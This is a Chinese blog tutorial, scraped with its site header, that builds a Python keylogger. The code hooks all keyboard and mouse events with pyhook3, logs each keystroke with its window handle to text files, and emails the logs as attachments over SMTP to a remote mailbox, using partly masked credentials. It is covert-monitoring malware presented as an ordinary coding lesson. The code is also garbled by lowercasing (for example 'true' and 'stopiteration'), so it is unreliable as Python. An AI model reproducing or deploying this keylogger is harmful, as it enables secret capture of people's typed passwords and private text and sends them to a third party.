欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Python监听键盘和鼠标事件,并发送内容至邮箱!

程序员文章站 2022-03-10 12:36:42
一. 环境以及工具 环境:win10,Python3.6 工具:JetBrains PyCharm 2018.1.4 二. 使用的第三方库: import os import smtplib #发送邮件 import time import threading import email复制代码 下面 ......

一. 环境以及工具

环境:win10,python3.6

工具:jetbrains pycharm 2018.1.4

二. 使用的第三方库:Python监听键盘和鼠标事件,并发送内容至邮箱!

import os
import smtplib  #发送邮件
import time
import threading
import email复制代码

下面这三个库主要用来监听:

import pyhook3
import pythoncom
from past.builtins import xrange复制代码

若环境没有自带以上第三方库,可以参照如下图示方法导入,或者自行谷歌

Python监听键盘和鼠标事件,并发送内容至邮箱!

三. 实现监听键盘、鼠标动作

使用pyhook3、pythoncom库监听键盘、鼠标事件

# 创建监听对象
    manager = pyhook3.hookmanager()

    # 监听所有键盘事件
    manager.keydown = on_keyboard_event
    # 设置键盘监听
    manager.hookkeyboard()

    # 循环监听, 若不手动关闭, 程序将一直处于监听状态
    pythoncom.pumpmessages()复制代码

on_keyboard_event是用来打印监听信息的函数

def on_keyboard_event(event):
    """
    监听键盘事件
    :param event:
    :return: 同鼠标监听事件的返回值
    """

    print('================== start listening keyboard ====================')
    print('messagename: ', event.messagename)
    print('message: ', event.message)
    print('time: ', event.time)
    print('window: ', event.window)
    print('ascii: ', event.ascii, chr(event.ascii))
    print('key: ', event.key)
    print('keyid: ', event.keyid)
    print('scancode: ', event.scancode)
    print('extended: ', event.extended)
    print('injected: ', event.injected)
    print('alt: ', event.alt)
    print('transition: ', event.transition)
    print('================== start listening keyboard ====================')

    return true复制代码

返回“true”,用于持续监听,监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):
    """
    将监听的键盘信息写入文件
    :param event:
    :return:
    """
    with open('./keyboard.txt', 'a+') as f:
        f.write(
            '事件: ' + event.messagename + ', 时间: ' + format_time() + ', 窗口信息: '
            + str(event.window) + ', 键值: ' + event.key + ', 键id: ' + str(event.keyid) + '\r\n')

    return true复制代码

五. 分割监听信息文件

按照文件内容分割,而不是按照文件大小。因为按照文件大小分割时,部分相连的内容将会被分割到两个文件中。

def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.filename + '.txt', 'r') as f:
            global index
            while 1:
                index += 1
                try:
                    with open(self.filename + '_%d.txt' % index, 'w') as temp:
                        for _ in xrange(self.size):
                            temp.write(f.__next__())
                except stopiteration:
                    break

    def timer_split_file(self):
        """
        超过指定行数则分割
        :return:
        """
        with open(self.filename + '.txt', 'r') as f:
            lines = f.readlines()
            if lines.__len__() > self.size:
                self.split_file()复制代码

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息,所以必须开启发送者邮箱的pop3/smtp服务。监听信息文件以附件的形式发送。若开启了pop3/smtp服务,而接受者没有看到邮件,可能邮件在接受者邮箱的垃圾箱中。

@staticmethod
    def send_email():
        host = 'smtp.163.com'  # 设置邮件服务器
        user = 'svip*****@163.com'  # 发送者
        password = 'smt*****1'  # 客户端授权密码

        sender = 'svip******@163.com'  # 匿名发送
        receiver = ['1341****1@qq.com']  # 接收邮件

        # 构造邮件对象
        msg = mimemultipart('alternative')
        msg['from'] = sender
        msg['to'] = ";".join(receiver)
        msg['subject'] = header('have a nice day,how are you?', 'utf-8')
        msg['message-id'] = make_msgid()
        msg['date'] = formatdate()
        message = mimetext('this is today content', 'plain', 'utf-8')
        msg.attach(message)

        # 构造附件对象,发送鼠标监听信息
        if index != 0:
            for num in range(1, index + 1):
                mouse_file_name = './mouse_' + str(num) + '.txt'
                mouse_file = open(mouse_file_name, 'rb').read()
                mouse_send = mimetext(mouse_file, 'base64', 'utf-8')
                mouse_send['content-type'] = 'application/octet-stream'
                mouse_send['content-disposition'] = 'attachment;filename=' + mouse_file_name
                msg.attach(mouse_send)

        # 发送键盘监听信息
        key_file = open('./keyboard.txt', 'rb').read()
        key_send = mimetext(key_file, 'base64', 'utf-8')
        key_send['content-type'] = 'application/octet-stream'
        key_send['content-disposition'] = 'attachment;filename=keyboard.txt'
        msg.attach(key_send)

        # 发送邮件
        try:
            mail = smtplib.smtp_ssl(host, 465)
            mail.login(user, password)
            mail.sendmail(sender, receiver, msg.as_string())
            mail.quit()
        except smtplib.smtpexception:
            # 异常信息不捕获
            pass复制代码

七. bug and solve

warning 01:

this inspection detects any methods which may safely be made static.

solution 01:

在方法上面加: @staticmethod

error 02:

typeerror: main() missing 1 required positional argument: 'self'

solution 02:

先实例化类, 再使用类

e.g.

listening = listening()

listening.main()

error 03:

typeerror: 'float' object is not callable

solution 03:

变量名与方法名冲突,或者与关键字冲突

error 04:

email.errors.multipartconversionerror:cannot attach additional subparts to non-multipart/*

solution 04:

没有创建带附件的实例

e.g.

msg = mimemultipart('mixed')

error 05:

使用smtp.qq.com发送邮件时:connection unexpectedly closed

solution 05:

发送者邮箱没有开启pop3/smtp服务

e.g.

Python监听键盘和鼠标事件,并发送内容至邮箱!

error 06:

smtplib.smtpheloerror: (500, b'error: bad syntax')